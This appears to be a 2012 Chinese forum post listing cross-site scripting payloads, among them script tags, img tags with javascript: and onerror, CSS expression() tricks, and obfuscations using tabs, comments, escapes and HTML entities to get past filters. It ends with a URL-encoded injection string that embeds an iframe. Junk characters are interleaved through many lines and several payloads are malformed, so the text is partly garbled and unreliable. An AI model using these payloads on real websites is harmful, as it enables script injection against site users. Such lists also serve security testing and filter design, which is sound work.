<script>alert("跨站")</script> (最常用）2 n( F; f) R% N$ s( T4 l% r
<img scr=javascript:alert("跨站")></img>8 E) Z- Y; e& A6 d# n L" r5 f8 M
<img scr="javascript: alert(/跨站/)></img>
/ c7 L0 w" B4 h+ u<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）
6 G4 P# ]. K# Z7 {% \<img scr="#" onerror=alert(/跨站/)></img>2 A4 I9 ^/ c) M/ r3 v- c" a. m) l
<img scr="#" style="xss:expression(alert(/xss/));"></img>! y1 n u" T8 [0 |( W* I
<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）8 F( t7 a' S5 m! ]3 W7 F' q Q) ]/ ~
<img src=vbscript:msgbox ("xss")></img>
% f5 s7 P) ]( F5 Z) `# J3 H" A/ f<style> input {left:expression (alert('xss'))}</style>! X( y; E" Y" I% ?8 }1 Q
<div style={left:expression (alert('xss'))}></div>+ R; |! s/ b/ l( |$ D5 j. m
<div style={left:exp/* */ression (alert('xss'))}></div>0 l s9 |2 e) `5 a( k, j0 V
<div style={left:\0065\0078ression (alert('xss'))}></div>
( E" O8 G5 Y/ u4 C, k& c- x0 l3 v/ I: yhtml 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>
9 Z! g3 _* d& t4 @ O5 h- Cunicode <div style="{left:expRessioN (alert('xss'))}">
" a1 S7 G; ? k& e4 k- o$ Y% S4 C+ K# L- O! c0 u' q' `. ^
"]}%3Cscript%3Ealert('By b14ckb0y')%3C/script%3E{[&item="]<iframe%20src=http://new.qzone.qq.com/9530772%20width=400%20height=600></iframe>["/ h- C3 P k. s' f0 }
|
发表于 2012-9-13 17:15:04
收藏
支持
反对